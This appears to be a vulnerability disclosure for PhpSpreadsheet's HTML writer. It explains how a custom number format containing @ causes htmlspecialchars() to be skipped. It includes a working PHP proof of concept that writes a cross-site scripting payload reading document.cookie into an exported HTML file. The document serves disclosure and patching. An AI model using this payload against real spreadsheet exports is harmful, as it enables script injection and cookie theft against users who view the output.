It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.
The Problem
In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():
if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, ...);
}
When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.
Even a single trailing space in the format (@ ) is enough to bypass the escape.
Proof of Concept
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');
$writer = new Html($spreadsheet);
$writer->save('output.html');